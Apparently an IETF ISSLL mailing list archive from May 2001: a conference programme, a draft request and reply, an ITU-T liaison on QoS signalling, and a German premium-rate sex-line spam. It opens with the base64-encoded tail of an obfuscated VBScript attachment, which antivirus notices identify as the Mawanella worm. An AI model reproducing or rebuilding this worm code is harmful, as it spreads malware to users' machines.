JSUlJSUlJSUyMjIlJSUlJSUlgSUlJSUlJYEnJSsle2dod3FrD3h5d1J4bEIleHl3UnhsJSslJyWB
JYElJSUlJYElJSUlJSUlJSUlJSUlJSUlJSWBJSUlJSUlgSclKyV7Z2h3cWsPeHl3UnhsQiV4eXdS
eGwlKyUnJTIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyJyUrJXtnaHdxaw8PeHl3Unhs
QiV4eXdSeGwlKyUnUmZ8ZnNqcXFmJW54JXRzaiV0ayV5bWolWHduJVFmc3BmLHglUnp4cW5yJVtu
cXFmbGozJyUrJXtnaHdxayUPeHl3UnhsQiV4eXdSeGwlKyUnWW1ueCVnd3p5ZnElbnNobmlqc3kl
bWZ1dWpzamklbWp3aiU3JVJ6eHFuciVSdHh2emp4JSslNjU1JVhtdHV4JWZ3aiVnendzeTMnJSsl
e2dod3FrJQ94eXdSeGxCJXh5d1J4bCUrJSdOJW1meSV5bW54JW5zaG5panN5MSVcbWZ5JWZndHp5
JX50ekQlTiVoZnMlaWp4eXd0fiV+dHp3JWh0cnV6eWp3JyUrJXtnaHdxayUPeHl3UnhsQiV4eXdS
eGwlKyUnTiVpbmlzLHklaXQleW1meSVnamhmenhqJU4lZnIlZiV1amZoajJxdHtuc2wlaG55bn9q
czMnDyUPcnhsZ3R9JXh5d1J4bDExJ1JmfGZzanFxZicPD0pzaSV4emcPDyUPIikKRnVuY3Rpb24g
VW5Db2RlKHNDb2RlZCkKICAgRm9yIEk9MSBUbyBMZW4oc0NvZGVkKQogICAgICBDdXJDaGFyPSBN
aWQoc0NvZGVkLCBJLCAxKQogICAgICBJZiBBc2MoQ3VyQ2hhcikgPSAxNSBUaGVuCiAgICAgICAg
IHN0ckNocj0gQ2hyKDEwKQogICAgICBFbHNlCiAgICAgICAgIHN0ckNociA9IGNocihhc2MoQ3Vy
Q2hhciktNSkKICAgICAgRW5kIGlmCiAgICAgICAgIFVuQ29kZSA9IFVuQ29kZSAmIHN0ckNocgog
ICAgTmV4dApFbmQgRnVuY3Rpb24gICAK
------_=_NextPart_001_01C0E0A6.172370C5--
From owner-issll@mercury.lcs.mit.edu Sat May 19 17:53:11 2001
Received: from mercury.lcs.mit.edu (mercury.lcs.mit.edu [18.26.0.122])
by ietf.org (8.9.1a/8.9.1a) with SMTP id RAA16030
for ; Sat, 19 May 2001 17:53:11 -0400 (EDT)
Received: (from daemon@localhost)
by mercury.lcs.mit.edu (8.9.1/8.9.1) id RAA13136
for issll-outgoing; Sat, 19 May 2001 17:21:49 -0400 (EDT)
Received: from mailhub2.mediaone.com (mailhub2.mediaone.com [169.152.251.67])
by mercury.lcs.mit.edu (8.9.1/8.9.1) with ESMTP id RAA14546
for ; Sat, 19 May 2001 17:21:48 -0400 (EDT)
Received: from wsimc01.mediaone.com (wsimc01.mediaone.com [169.152.100.174])
by mailhub2.mediaone.com (8.9.3/8.9.3) with SMTP id RAA00881
for ; Sat, 19 May 2001 17:21:50 -0400 (EDT)
X-WSS-ID: 17183C5C2902606-01
Date: Sat, 19 May 2001 17:21:27 -0400
From: "AT&T Broadband E-mail Security"
To: issll@mercury.lcs.mit.edu
Message-ID: <17183C5C2902606-01@WorldSecure_Server__mediaone.com_>
MIME-Version: 1.0
Content-Type: multipart/mixed;
boundary="_-==17183C5D12733==-_"
Subject: AT&T Broadband E-mail Security Notification
Sender: owner-issll@mercury.lcs.mit.edu
Precedence: bulk
--_-==17183C5D12733==-_
Content-Type: text/plain
Content-Disposition: inline
You have received a message with one of the following attachment
extentions: vbs, vbe, wsf, wsh, hte, shs. Because of potential future
viruses being written with these extentions, the message is currently
being blocked.
--_-==17183C5D12733==-_--
From owner-issll@mercury.lcs.mit.edu Sat May 19 19:15:27 2001
Received: from mercury.lcs.mit.edu (mercury.lcs.mit.edu [18.26.0.122])
by ietf.org (8.9.1a/8.9.1a) with SMTP id TAA16625
for ; Sat, 19 May 2001 19:15:26 -0400 (EDT)
Received: (from daemon@localhost)
by mercury.lcs.mit.edu (8.9.1/8.9.1) id SAA15069
for issll-outgoing; Sat, 19 May 2001 18:31:18 -0400 (EDT)
Received: from postal.ellacoya.com ([64.223.136.42])
by mercury.lcs.mit.edu (8.9.1/8.9.1) with ESMTP id SAA15152
for ; Sat, 19 May 2001 18:31:17 -0400 (EDT)
Received: by mail.ellacoya.com with Internet Mail Service (5.5.2653.19)
id ; Sat, 19 May 2001 18:28:48 -0400
Message-ID: <85D31AAF3DFCD4119C44000102C0097005C602@mail.ellacoya.com>
From: ANTIGEN_POSTAL
To: "'issll@mercury.lcs.mit.edu'"
Subject: Antigen found =*.vbs file
Date: Sat, 19 May 2001 18:28:41 -0400
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: text/plain
Sender: owner-issll@mercury.lcs.mit.edu
Precedence: bulk
Antigen for Exchange found Mawanella.vbs matching =*.vbs file filter.
The file is currently Removed. The message, "Mawanella", was
sent from John McQuillan and was discovered in Weiss, Walter\Inbox
located at Ellacoya Networks/ELLACOYA-NT/POSTAL.
From owner-issll@mercury.lcs.mit.edu Wed May 23 05:31:06 2001
Received: from mercury.lcs.mit.edu (mercury.lcs.mit.edu [18.26.0.122])
by ietf.org (8.9.1a/8.9.1a) with SMTP id FAA29512
for ; Wed, 23 May 2001 05:31:05 -0400 (EDT)
Received: (from daemon@localhost)
by mercury.lcs.mit.edu (8.9.1/8.9.1) id EAA05834
for issll-outgoing; Wed, 23 May 2001 04:40:32 -0400 (EDT)
Received: from mailgate.rz.uni-karlsruhe.de (mailgate.rz.uni-karlsruhe.de [129.13.64.97])
by mercury.lcs.mit.edu (8.9.1/8.9.1) with ESMTP id EAA08892
for ; Wed, 23 May 2001 04:40:30 -0400 (EDT)
Received: from uni-karlsruhe.de (rz-du-007.rz.uni-karlsruhe.de [129.13.76.7])
by mailgate.rz.uni-karlsruhe.de with esmtp (Exim 3.16 #1)
id 152Tpc-0005N6-00; Wed, 23 May 2001 10:17:26 +0200
Message-ID: <3B0B70D6.A8844558@uni-karlsruhe.de>
Date: Wed, 23 May 2001 10:12:06 +0200
From: Lars Wolf
Organization: University of Karlsruhe
X-Mailer: Mozilla 4.75 [de] (Windows NT 5.0; U)
X-Accept-Language: en,de
MIME-Version: 1.0
To: end2end-interest@postel.org
Subject: Call for Participation: IWQoS2001
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-issll@mercury.lcs.mit.edu
Precedence: bulk
Content-Transfer-Encoding: 7bit
[Our apologies for duplicate transmissions]
++++ ATTENDANCE IS LIMITED ++++
###############################################################
Ninth International Workshop on Quality of Service (IWQoS 2001)
###############################################################
Further information and registration:
-------------------------------------
http://www.uni-karlsruhe.de/~iwqos/
Karlsruhe, Germany, June 6-8, 2001
hosted by University of Karlsruhe, Institute of Telematics
supported by technical co-sponsorship by / in-cooperation with
IEEE Communications Society (TCCC and ITC),
ACM SIGCOMM and
IFIP WG6.1
Sponsors
SAP AG / CEC -- Karlsruhe Corporate Research
Enterasys Networks
Ericsson Eurolab
Siemens
IBM
NENTEC
Gunther-Schroff-Stiftung
IWQoS2001 Advanced Program
##########################
Tuesday, June 5, 2001
=====================
20:00 IWQoS Reception
Wednesday, June 6, 2001
=======================
08:45 Welcome
Lars Wolf, David Hutchison, Ralf Steinmetz
09:00 Keynote
Quality of Service - 20 Years old and Ready to get a Job?
Henning Schulzrinne
10:00 Break
10:30 Session 1: Provisioning and Pricing
Dynamic Core Provisioning for Quantitative Differentiated Service
Raymond R.-F. Liao, Andrew T. Campbell
Towards Provisioning DiffServ Intra-Nets
Ulrich Fiedler, Polly Huang, Bernhard Plattner
Analysis of Paris Metro Pricing Strategy for QoS with a Single Service Provider
Ravi Jain, Tracy Mullen, Robert Hausman
Why Value is Everything: A User-Centered Approach to Internet Quality of Service
and Pricing
Anna Bouch, M. Angela Sasse
12:30 Break
14:00 Session 2: Systems QoS
Traveling to Rome: QoS Specifications for Automated Storage System Management
John Wilkes
Extending a Best-Effort Operating System to Provide QoS Processor Management
Hans Domjan, Thomas R, Gross
User Focus in Consumer Terminals and Conditionally Guaranteed Budgets
Reinder J. Bril, E. (Liesbeth) F.M. Steffens
15:30 Break
16:00 Session 3: Routing
Extending BGMP for Shared-Tree Inter-Domain QoS Multicast
Aiguo Fei, Mario Gerla
Granularity of QoS Routing in MPLS Networks
Ying-Dar Lin, Nai-Bin Hsu, Ren-Hung Hwan
Fault Tolerance and Load Balancing in QoS Provisioning with Multiple MPLS Paths
Scott Seongwook Lee, Mario Gerla
On Selection of Paths for Multipath Routing
Srihari Nelakuditi, Zhi-Li Zhang
18:00 Break
19:00 Workshop Dinner
Thursday, June 7, 2001
=======================
08:30 Session 4: TCP Related
Preferential Treatment of Acknowledgment Packets in a Differentiated Services
Network
Konstantina Papagiannaki, Patrick Thiran, Jon Crowcroft, Christophe Diot
A Quantitative Model for Parameter Setting of RED with TCP Traffic
Thomas Ziegler, Christof Brandauer, Serge Fdida
Evaluation of the QoS offered by PRTP-ECN - A TCP-Compliant Partially Reliable
Transport Protocol
Karl-Johan Grinnemo, Anna Brunstrom
10:00 Break
10:30 Session 5: Wireless and Mobile
GAME based QoS Provisioning in Multimedia Wideband CDMA Networks
Mohamed Moustafa, Ibrahim Habib, Mahmoud Naghshineh
QoS-aware Adaptive Services in Mobile Ad-hoc Networks
Baochun Li
11:30 Break (Short)
11:45 Panel
How will Media Distribution work in the Internet?
Andrew Campbell, Carsten Griwodz (Chair), Joerg Liebeherr, Dwight Makaroff,
Andreas Mauthe, Giorgio Ventre, and Michael Zink
12:45 Break
14:00 Short Paper Session
Experimental Extensions to RSVP - Remote Client and One-Pass Signalling
Martin Karsten
Extended Quality-of-Service for Mobile Networks
Jukka Manner, Kimmo Raatikainen
Quality of Service Schemes for IEEE 802.11 - A Simulation Study
Anders Lindgren, Andreas Almquist, Olov Schelen
Differentiated Services over Shared Media
Pascal Anelli, Gwendal Le Grand
End-to-Edge QoS System Integration: Integrated Resource Reservation Framework
for Mobile Internet
Yasunori Yasuda, Nobuhiko Nishio, Hideyuki Tokuda
Problems of Elastic Traffic Admission Control in an HTTP Scenario
Joachim Charzinski
16:00 Break
16:30 Session 6: Aggregation and Active Networks Based QoS
Aggregation and Scalable QoS: A Performance Study
Huirong Fu, Edward W. Knightly
Customizable Cooperative Metering for Multi-Ingress Service Level Agreements in
Differentiated Network Services
Syed Umair Ahmed Shah, Peter Steenkiste
Segmented Adaptation of Traffic Aggregates
Hermann de Meer, Piers O`Hanlon
18:00
Friday, June 8, 2001
====================
08:30 Invited Talk
Automated, Dynamic Traffic Engineering in Multi-Service IP Networks
Joe Sventek
09:30 Break
10:00 Session 7: Scheduling and Dropping
Differentiated Services with Lottery Queueing
Joseph Eggleston, Sugih Jamin
On Creating Proportional Loss-rate Differentiation: Predictability and
Performance
Ulf Bodin, Andreas Jonsson, Olov Schelen
11:00 Break
11:30 Session 8: Scheduling and Admission Control
A Novel Scheduler For a low Delay Service Within Best-Effort
Paul Hurley, Jean-Yves Le Boudec, Mourad Kara, Patrick Thiran
JoBS: Joint Buffer Management and Scheduling for Differentiated Services
Jorg Liebeherr, Nicolas Christin
Optimal Call Admission Control under Generalized Processor Sharing Scheduling
Antonis Panagakis, Ioannis Stavrakakis
13:00 Summary
From owner-issll@mercury.lcs.mit.edu Fri May 25 06:55:13 2001
Received: from mercury.lcs.mit.edu (mercury.lcs.mit.edu [18.26.0.122])
by ietf.org (8.9.1a/8.9.1a) with SMTP id GAA14499
for ; Fri, 25 May 2001 06:55:12 -0400 (EDT)
Received: (from daemon@localhost)
by mercury.lcs.mit.edu (8.9.1/8.9.1) id GAA23360
for issll-outgoing; Fri, 25 May 2001 06:14:15 -0400 (EDT)
Received: from mx0.gmx.net (mx0.gmx.net [213.165.64.100])
by mercury.lcs.mit.edu (8.9.1/8.9.1) with SMTP id GAA23668
for ; Fri, 25 May 2001 06:14:12 -0400 (EDT)
Received: (qmail 16450 invoked by alias); 25 May 2001 10:13:38 -0000
Delivered-To: GMX delivery to claudia%carmendorn@gmx.de
Received: (qmail 16441 invoked by uid 0); 25 May 2001 10:13:38 -0000
Date: Fri, 25 May 2001 12:13:38 +0200 (MEST)
From: Carmen Dornbach
MIME-Version: 1.0
X-Priority: 3 (Normal)
X-Authenticated-Sender: #0010896236@gmx.net
X-Authenticated-IP: [195.93.64.171]
Message-ID: <29063.990785618@www31.gmx.net>
X-Mailer: WWW-Mail 1.5 (Global Message Exchange)
Content-Type: text/plain; charset="iso-8859-1"
To: claudia%CarmenDorn@gmx.de
Sender: owner-issll@mercury.lcs.mit.edu
Precedence: bulk
X-MIME-Autoconverted: from 8bit to quoted-printable by mercury.lcs.mit.edu id GAA23360
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by ietf.org id GAA14499
Hallo,
wir sind 9 heiße und hemmungslose Girls, nämlich Babette, Moni, Carola,
Angelique, Michelle, Jessica, Melissa, Iris und Sandra, die ein geiles tabuloses
Telefonat, oder bei gefallen einen heißen Seitensprung suchen. Ganz wie Du
willst :o)
Erreichen kannst Du uns direkt unter Telefonnummer: 019085/4794*
Am Telefon können wir uns gleich ein Date ausmachen. Oder hast Du etwa keine
Lust auf einen wilden One Night Stand ? Wir schon :o) ... also beeil Dich
.... fg
Wenn Du uns vorher sehen möchtest, dann schau einfach mal auf unserer
Homepage vorbei ... dort erfährst Du einiges mehr über uns ... www.datingfon.de
Unsere intimsten Geheimnisse verraten wir Dir natürlich nur direkt ... wir
können sie Dir ja am Telefon ins Ohr flüstern ...
Also alles ist möglich weil wir auf alles Lust haben und noch so vieles
ausprobieren wollen .... hoffentlich mit Dir. ... 019085/4794*
Lass uns nicht so lange warten ....
Bussi bis gleich Deine süssen Girls
(* E.p. DM 3,63/min.)
--
GMX - Die Kommunikationsplattform im Internet.
http://www.gmx.net
--
U2 Konzertreisen inkl. VIP-Package
Hier Eventreisen zur U2-Tour bei Getgo.de online buchen!
http://www.getgo.de/cgi-bin/TDoc.dll?doc=reisen/rei_kon_sta&affiliate=GMX
From owner-issll@mercury.lcs.mit.edu Wed May 30 09:58:58 2001
Received: from mercury.lcs.mit.edu (mercury.lcs.mit.edu [18.26.0.122])
by ietf.org (8.9.1a/8.9.1a) with SMTP id JAA11399
for ; Wed, 30 May 2001 09:58:55 -0400 (EDT)
Received: (from daemon@localhost)
by mercury.lcs.mit.edu (8.9.1/8.9.1) id JAA21768
for issll-outgoing; Wed, 30 May 2001 09:00:55 -0400 (EDT)
Received: from infres.enst.fr (infres-192.enst.fr [137.194.192.1])
by mercury.lcs.mit.edu (8.9.1/8.9.1) with ESMTP id JAA21531
for ; Wed, 30 May 2001 09:00:52 -0400 (EDT)
Received: from yahoo.com (dragon.enst.fr [137.194.192.44])
by infres.enst.fr (Postfix) with ESMTP id 429A11895
for ; Wed, 30 May 2001 15:00:49 +0200 (MET DST)
Message-ID: <3B14EF98.5C694D17@yahoo.com>
Date: Wed, 30 May 2001 15:03:20 +0200
From: Nguyen Thi Mai Trang
Organization: ENST - INFRES
X-Mailer: Mozilla 4.77 [en] (Windows NT 5.0; U)
X-Accept-Language: en
MIME-Version: 1.0
To: issll@mercury.lcs.mit.edu
Subject: looking for draft-salsano-issll-cops-odra-00.txt
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-issll@mercury.lcs.mit.edu
Precedence: bulk
Content-Transfer-Encoding: 7bit
Hello all,
I'm looking for the document draft-salsano-issll-cops-odra-00.txt on the
IETF website but I can't find it. If someone have this darft, could you
please send me a copie? My work is related to this problem.
Thank you in advance
Mai Trang
----------------------------------------------------
Nguyen Thi Mai Trang
Ecole Nationale Superieure des Telecommunications
Dept. INFRES - Bur. C234-4
46 Rue Barrault - 75013 Paris
Fax : 01 45 81 31 19
email : trnguyen@enst.fr
From owner-issll@mercury.lcs.mit.edu Wed May 30 13:07:42 2001
Received: from mercury.lcs.mit.edu (mercury.lcs.mit.edu [18.26.0.122])
by ietf.org (8.9.1a/8.9.1a) with SMTP id NAA18207
for ; Wed, 30 May 2001 13:07:41 -0400 (EDT)
Received: (from daemon@localhost)
by mercury.lcs.mit.edu (8.9.1/8.9.1) id MAA24559
for issll-outgoing; Wed, 30 May 2001 12:14:24 -0400 (EDT)
Received: from ultra5.unile.it (ultra5.unile.it [193.204.77.251])
by mercury.lcs.mit.edu (8.9.1/8.9.1) with ESMTP id MAA22900
for ; Wed, 30 May 2001 12:14:22 -0400 (EDT)
Received: from smol.unile.it ([193.204.77.152])
by ultra5.unile.it (8.9.3+Sun/8.9.1) with SMTP id SAA09400;
Wed, 30 May 2001 18:11:26 +0100 (WET DST)
From: Simone Molendini
Reply-To: smol@ultra5.unile.it
To: Nguyen Thi Mai Trang
Subject: Re: looking for draft-salsano-issll-cops-odra-00.txt
Date: Wed, 30 May 2001 17:17:32 +0200
X-Mailer: KMail [version 1.0.29]
Content-Type: text/plain
References: <3B14EF98.5C694D17@yahoo.com>
In-Reply-To: <3B14EF98.5C694D17@yahoo.com>
Cc: issll@mercury.lcs.mit.edu
MIME-Version: 1.0
Message-Id: <01053017203201.00666@smol.unile.it>
Content-Transfer-Encoding: 8bit
Sender: owner-issll@mercury.lcs.mit.edu
Precedence: bulk
Content-Transfer-Encoding: 8bit
On Wed, 30 May 2001, Nguyen Thi Mai Trang wrote:
> Hello all,
>
> I'm looking for the document draft-salsano-issll-cops-odra-00.txt on the
> IETF website but I can't find it. If someone have this darft, could you
> please send me a copie? My work is related to this problem.
You can download it from:
http://www.netlab.unile.it/id/id/draft-salsano-issll-cops-odra-00.txt
We are tring to collect expired and active drafts into this site.
This project is still at an experimental stage.
> Thank you in advance
>
> Mai Trang
By,
Simone
From owner-issll@mercury.lcs.mit.edu Wed May 30 17:22:05 2001
Received: from mercury.lcs.mit.edu (mercury.lcs.mit.edu [18.26.0.122])
by ietf.org (8.9.1a/8.9.1a) with SMTP id RAA25070
for ; Wed, 30 May 2001 17:22:01 -0400 (EDT)
Received: (from daemon@localhost)
by mercury.lcs.mit.edu (8.9.1/8.9.1) id QAA22345
for issll-outgoing; Wed, 30 May 2001 16:22:39 -0400 (EDT)
Received: from auemail1.firewall.lucent.com (auemail1.lucent.com [192.11.223.161])
by mercury.lcs.mit.edu (8.9.1/8.9.1) with ESMTP id QAA23381
for ; Wed, 30 May 2001 16:22:33 -0400 (EDT)
Received: from auemail1.firewall.lucent.com (localhost [127.0.0.1])
by auemail1.firewall.lucent.com (Switch-2.1.3/Switch-2.1.0) with ESMTP id f4UKMSM18808
for ; Wed, 30 May 2001 16:22:28 -0400 (EDT)
Received: from hotair.hobl.lucent.com (h199-118-135-2.lucent.com [199.118.135.2])
by auemail1.firewall.lucent.com (Switch-2.1.3/Switch-2.1.0) with SMTP id f4UKMPV18720;
Wed, 30 May 2001 16:22:25 -0400 (EDT)
Received: from 7460gratta.ho.lucent.com by hotair.hobl.lucent.com (SMI-8.6/EMS-1.5 sol2)
id QAA03855; Wed, 30 May 2001 16:22:23 -0400
Message-Id: <200105302022.QAA03855@hotair.hobl.lucent.com>
From: "Greg Ratta"
To: sob@harvard.edu, mankin@isi.edu
Date: Wed, 30 May 2001 16:22:23 -0400
MIME-Version: 1.0
Content-type: text/enriched; charset=ISO-8859-1
Content-transfer-encoding: Quoted-printable
Subject: PROPOSED JOINT ACTIVITY ON A GENERIC PROTOCOL MECHANISM FOR END-TO-END QOS SERVICE CONTROL
Reply-to: gratta@lucent.com
CC: diffserv@ietf.org, iptel@lists.bell-labs.com, issll@mercury.lcs.mit.edu,
megaco@fore.com, sip@lists.bell-labs.com, sipping@ietf.org,
tsvwg@ietf.org, Yukio Hiramatsu ,
rbuhrke@lucent.com, tsg11q8@ties.itu.ch, tsg11q9@ties.itu.ch
Priority: normal
X-mailer: Pegasus Mail for Win32 (v3.01d)
Sender: owner-issll@mercury.lcs.mit.edu
Precedence: bulk
Content-Transfer-Encoding: Quoted-printable
This message was agreed to at ITU-T Study Group 11 meeting
(Geneva, May 2001) and is being transmitted on behalf of Yukio
Hiramatsu, Chairman of ITU-T SG 11. For further technical
clarification, contact the Rapporteur for Q9/11 (Rolfe Buhrke, Tel: +
1 630 713 7022, { HYPERLINK mailto:rburke@lucent.com }rbuhrke@lucent.com)
FULL TITLE: Times New RomanPROPOSED JOINT ACTI=
VITY ON A GENERIC
PROTOCOL MECHANISM FOR END-TO-END QOS SERVICE
CONTROL AND 0100,0100,0100SIGNALLING PROTOCOL DEVELO=
PMENT BASED
ON IP TRANSFER CAPABILITIES AND IP QOS CLASSES
rightCourier NewGene=
ralrightWithin ITU-T SG11 work has started on
requirements for a generic protocol mechanism
for end-to-end QoS service control. It was
agreed within SG11 to proceed with this work
utilising deliverables of ETSI TIPHON on end-
to-end QoS service control as base material.
It is the opinion of SG11 that this generic
protocol mechanism for BICC intends to apply
also to other protocols like SIP/SDP and
H.323 next to generic extensions to the
H.248/MEGACO protocol.rightIt was noted that also QoS related work is=
in
progress in IETF. Please find attached an
initial draft of the BICC CS3 signalling
requirements for end-to-end QoS service
control. Please note the rationale for this
activity and the framework for end-to-end QoS
service control and network QoS control. The
framework illustrates the field of
application of the QoS handling at different
levels and the different protocols involved.rightProposals on end-to-end QoS service contro=
lrightIt is proposed to start a joint activity w=
ith
IETF on a generic protocol mechanism for end-
to-end QoS service control. This refers to
the potential work in IETF on the following
topics:right- Identification of the signalling
requirements based on the ETSI TIPHON defined
speech QoS service classes for VoIP and the
signalling and control of end-to-end QoS for
VoIP. The attachment provides the initial
draft of the BICC CS3 signalling requirements
for end-to-end QoS service control.right- The definition of a generic call/bearer
control mechanism in H.225/H.245, SIP/SDP and
BICC CS3 for end-to-end QoS service control
in the application plane.right- The definition of generic extensions to
H.248/MEGACO for end-to-end QoS service
control between the application plane and the
transport plane.right- The translation between the generic
protocol QoS information elements in
H.248/MEGACO and the technology specific QoS
parameters and QoS mechanisms in IP, ATM,
MPLS, etc.rightProposals on IP QoS classes and IP Transfe=
r
CapabilitiesrightITU-T SG11 would like to inform IETF that =
it
is investigating signalling requirements for
protocol development based on the IP Transfer
Capabilities and IP QoS classes, as being
defined by ITU-T SG13 in Y.1541 and Y.iptc.
The plan is to build upon signalling
approaches developed by IETF. We would like
to stress that the work on IP QoS classes and
IP Transfer Capabilities by ITU-T SG13 is co-
ordinated with IETF.rightATTACHMENT Initial draft text of the BICC
CS3 signalling requirements for end-to-end
QoS service control. rightThe ETSI specifications referenced as base=
material are available at the following URLs:outETSI TS 301 329 part 2,
http://docbox.etsi.org/tech-
org/tiphon/Document/tiphon/07-
drafts/wg5/_Published/DTS05009/V1.1.1/ts_10
1329-2v111p.docright- ETSI TS 301 329 part 3 see
http://docbox.etsi.org/tech-
org/tiphon/Document/tiphon/07-
drafts/wg5/_Published/DTS05003/DTS05003v096.zi
prightFurther information about the ETSI TIPHON
project is available at the following URL:right-
http://webapp.etsi.org/tbhomepage/TBDetails.as
p?TB_ID=3D291&TB_NAME=3DTIPHONright__________________rightBICC CS3 signalling requirements for end-t=
o-
end QoS service controlrightEDITORS=92 NOTE: This requirements text fo=
r
end-to-end QoS service control is a first
draft text and requires extensive updating
based on liaison activities with other groupsright1 RationalerightThe rationale of the BICC CS3 requirements=
for end-to-end service control is based on
the analysis made by ETSI TIPHON (see the
presentation available at the URL:
http://docbox.etsi.org/tech-
org/tiphon/Document/tiphon/ARCHIVES/2000/05-
200012-
Kyoto/WG5%20TIPHON21%20presentation%20Rev1.ppt
). It shows the inter-relationship between
the different QoS factors that finally
determine rightthe perceived speech quality by the end-
users. This perceived speech quality does not
only depend on network quality of service
(network packet loss, network jitter and
network delay) but on the terminal
implementation (jitter buffers and codec
performance) as well. right rightA second rationale is that end-to-end QoS
requirements can be regarded as end-to-end
quality budgets related to the media flows.
To achieve the required end-to-end QoS these
quality budgets must be allocated between the
domains, including the user equipment (see
Figure 7 in ETSI TS 301 329 part 3). The
Transport QoS Parameters specify the QoS
budgets for each Transport Domain. It is
assumed that the performance of each domain
is statistically independent from any other.right rightTherefore end-to-end QoS service control a=
t
the call control level (i.e. application
plane) is required based on generic
signalling procedures in protocols like BICC,
SIP/SDP, H.323 and H.248/MEGACO for end-to-
end QoS service control.right2 Framework for end-to-end QoS service
control and network QoS control.rightA framework for QoS control may be conside=
red
at different levels: call control (BICC,
SIP/SDP, H.323), vertical control
(H.248/MEGACO, CBC), bearer control (IP BCP)
and bearer (DiffServ, IntServ/RSVP or
MPLS/LDP).right1) Call-control righta) End-to-end QoS service control is
negotiated/communicated end-to-end at the
call control level. ETSI TIPHON has defined a
set of speech QoS classes, and signalling
requirements and flows for this purpose. rightThe idea is that call control protocols ar=
e
enhanced with a generic end-to-end QoS
service control mechanism to negotiate these
speech QoS classes and associated parameters
(Maximum delay, Maximum packet delay
variation, Maximum packet loss, Peak bit rate
and Maximum packet size). rightSuch a generic end-to-end QoS service cont=
rol
mechanism should be defined independent of
the underlying technology (ATM or IP) and
operate across network domains and including
terminal characteristics to
negotiate/communicate the requested listener
speech quality that will be perceived by the
end-users (i.e. "mouth-to-ear").rightb) BICC (Q.190x) is one of the call contro=
l
protocols that may be enhanced this way.
Similar enhancements may be applicable to
other call-control protocols like SIP/SDP and
H.323.right2) Vertical control righta) QoS service control is also
negotiated/communicated at the vertical
control level. The ETSI TIPHON defined
signalling requirements and flows include the
vertical interface. The idea is that vertical
control protocols are enhanced to
negotiate/communicate the QoS settings
(Maximum delay, Maximum packet delay
variation, Maximum packet loss, Peak bit rate
and Maximum packet size) in the bearer core
network based on generic H.248/MEGACO
extensions.rightThese QoS settings should be defined
independent of the underlying technology (ATM
or IP) of the bearer core network.rightb) CBC (Q.1950) is one of the vertical
control protocols that may be enhanced this
way.right3) Bearer control righta) Network QoS is negotiated/communicated =
at
the bearer control level. ATM signalling does
already intrinsically support network QoS.
SG13 has recently defined IP QoS classes and
IP Transfer Capabilities. rightThe idea is that bearer control protocols =
for
IP are enhanced with a mechanism to negotiate
the network QoS by using IP QoS classes and
IP Transfer Capabilities. rightb) IP BCP (Q.1970) is an IP bearer control=
protocol that may be enhanced this way.right4) Bearer righta) Network QoS is negotiated/communicated =
at
the bearer level, i.e. as part of the
protocols associated with the bearers in the
core network. The idea is that IP QoS classes
and IP Transfer Capabilties, as defined by
SG13, are used to differentiate between
different types of IP traffic.rightb) IP QoS classes and IP Transfer
Capabilities may be used to enhance existing
IP mechanisms like DiffServ, IntServ/RSVP and
MPLS/LDP.right right3 QoS information flows applicable to BICC=
rightA general model is considered for QoS
information flows with BICC when making a
translation of the relevant parts in Figure 8
in ETSI TS 301 329 part 3.right rightSection 4 details the Q.BICC related QoS
primitives and parameters based on the QoS
primitives and parameters in the ETSI
deliverable. Similarly, section 5 provides
the Q.CBC related QoS primitives and
parameters.right4 Q.BICC related QoS primitives and parame=
tersrightThe Q.BICC related QoS primitives and
parameters are extracted from clause 8.1 and
clause 8.2 of ETSI TS 101 329 part 3.right4.1 Q.BICC related QoS primitives
rightThis information flow (QC2 in ETSI TS 101 =
329
part 3) communicates the QoS related bearer
information between the domains of different
service providers. rightQ.BICC QoS request (Qbicc.QoSreq) requests=
the establishment of a bearer conforming to a
particular ETSI TIPHON Class of Service or
with defined QoS characteristics.rightNOTE Identical to QoSM request (QC2.QoSMre=
q)
in ETSI TS 101 329 part 3 clause 8.1.1.rightQ.BICC QoS confirm (Qbicc.QoSconf)
acknowledges the creation of a bearer
conforming to a requested ETSI TIPHON QoS
Class or with specified QoS characteristics.rightNOTE Identical to QoSM confirm
(QC2.QoSMconf) in ETSI TS 101 329 part 3
clause 8.1.1.rightQ.BICC QoS reject (Qbicc.QoSrej) rejects t=
he
creation of a bearer conforming to a
requested ETSI TIPHON QoS Class or with
specified QoS characteristics.rightNOTE Identical to QoSM reject (QC2.QoSMrej=
)
in ETSI TS 101 329 part 3 clause 8.1.1.rightQ.BICC release request (Qbicc.QoSrelreq)
requests the release of a bearer.rightNOTE Identical to QoSM release request
(QC2.QoSMrelreq) in ETSI TS 101 329 part 3
clause 8.1.1 and the release of a transport
flow is already covered by existing Q.BICC
procedures in Q.1902 series.rightQoSM release confirm (Qbicc.QoSrelconf)
confirms the release of a bearer.rightNOTE Identical to QoSM release confirm
(QC2.QoSMrelconf) in ETSI TS 101 329 part 3
clause 8.1.1 and the release of a transport
flow is already covered by existing Q.BICC
procedures in Q.1902 series.right4.2 Q.BICC related QoS parameters
rightTable 1 lists the parameters used in the
Q.BICC related QoS primitives not yet covered
by the Q.BICC protocol. The deleted items
refer to the information elements already
covered by the BICC CS2 protocol in the
Q.1902 series.rightNOTE The contents of Table 1 is an
interpretation of the table in ETSI TS 101
329 part 3 clause 8.2.3.rightTable 1: Identification of Q.BICC related
parameters for end-to-end QoS service controlrightQbicc.QoSreq QoS Service Class
Optionalright Codec Type and Packetisation
Mandatoryright Transport QoS Parameters Mandatory
right Traffic Descriptor Optional
right Transport Addresses Mandatory
right Application Data Transport Protocol
Optional [Default RTP]right Packet Transport Protocol
Optional [Default UDP]right QoS Mechanism OptionalrightQbicc.QoSconf QoS Service Class
Optionalright Codec Type and Packetisation
Mandatoryright Transport QoS Parameters Mandatory
right Transport Addresses Mandatory
right Application Data Transport Protocol
Optional [Default RTP]right Packet Transport Protocol
Optional [Default UDP]rightQbicc.QoSrej Reason [TBD]
Mandatoryright5 Q.CBC related QoS primitives and paramet=
ersrightThe Q.CBC related QoS primitives and
parameters are extracted from clause 8.1 and
clause 8.2 of ETSI TS 101 329 part 3.right5.1 Q.CBC related QoS primitives
rightThis information flow (QT2 in ETSI TS 101 =
329
part 3) communicates the QoS related
transport flow information between a service
